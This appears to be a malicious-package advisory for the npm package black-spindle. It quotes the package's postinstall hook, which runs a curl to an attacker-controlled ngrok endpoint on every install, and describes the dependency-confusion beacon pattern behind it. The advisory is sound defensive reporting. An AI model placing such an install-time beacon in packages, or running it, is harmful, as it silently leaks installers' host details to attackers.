MAL-2026-18359
Dashboard / Malicious Package / MAL-2026-18359
MAL-2026-18359
Summary: Malicious code in black-spindle (npm)
Details: Source: amazon-inspector (3dd746168a2e733a835005f5fd321e1bab9a24688a4c5d413247ae065ea29786) [email protected] declares a `postinstall` lifecycle hook in package.json that executes `curl http://778e-181-63-25-28.ngrok-free.app/test` on every `npm install`. The destination is a short-lived, anonymous ngrok-free.app HTTPS/HTTP tunnel unrelated to any declared publisher, contacted over plain HTTP with no pinning or verification. The shipped `index.js` is an empty stub, so the manifest's lifecycle hook is the package's entire effect: installing the package causes the installer's host to contact an attacker-controlled endpoint and discloses install-time metadata (source IP, timing, user-agent) to that endpoint. The 999.0.0 version and single-line postinstall-beacon shape are consistent with dependency-confusion / install-telemetry beaconing rather than a legitimate library. Source: ossf-package-analysis (c5ef30c4ec24f78fa57d10f6bd8e7fb7be307fc23e833428af785b2013bf2fab) The OpenSSF Package Analysis project identified 'black-spindle' @ 999.0.0 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior.
Affected packages
Package
Name: black-spindle
Purl: pkg:npm/black-spindle
Affected ranges
Type: N/A
Events:
